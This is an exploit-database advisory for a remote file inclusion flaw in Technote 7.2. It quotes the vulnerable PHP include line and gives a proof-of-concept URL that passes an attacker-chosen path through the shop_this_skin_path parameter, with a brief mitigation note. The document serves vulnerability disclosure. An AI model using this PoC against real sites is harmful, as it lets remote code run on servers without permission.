Remote File Inclusion Vulnerability

vendor:

Technote

by:

make0day@gmail.com

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Technote

Affected Version From: 7.2 (08.09.25)

Affected Version To: 7.2 (08.09.25)

Patch Exists: YES

Related CWE: N/A

CPE: a:technote:technote:7.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: All

2009

Remote File Inclusion Vulnerability

TECHNOTE (VERSION 7.2 (08.09.25)) is bulletin board system of Korea. It is freely available for all platforms that supports PHP and MySQL. But I find Remote File Inclusion vulnerability. Here is the details: TEST ON VERSION TECHNOTE 7.2 (08.09.25) Download : http://www.technote.co.kr/ Remote File Inclusion Vulnerability /body_default.php if($GOODS['gs_input']) include "$shop_this_skin_path/2_view_body/include/form_option.php"; //File Include PoC: http://[site]/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=[RFI]

Mitigation:

Input validation should be done to prevent malicious input from being passed to the application.

Source

Exploit-DB raw data:

TECHNOTE 7.2 (08.09.25) Remote File Inclusion Vulnerability
bY make0day@gmail.com

/*************************

TECHNOTE (VERSION 7.2 (08.09.25))is bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But I find Remote File Inclusion vulnerability.
Here is the details:

**************************/
TEST ON VERSION TECHNOTE 7.2 (08.09.25)
Download : http://www.technote.co.kr/
/***************************
Remote File Inclusion Vulnerability

/body_default.php

if($GOODS['gs_input']) include "$shop_this_skin_path/2_view_body/include/form_option.php";
//File Include

*************************/

poc:

http://[site]/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=[RFI]

# milw0rm.com [2009-02-03]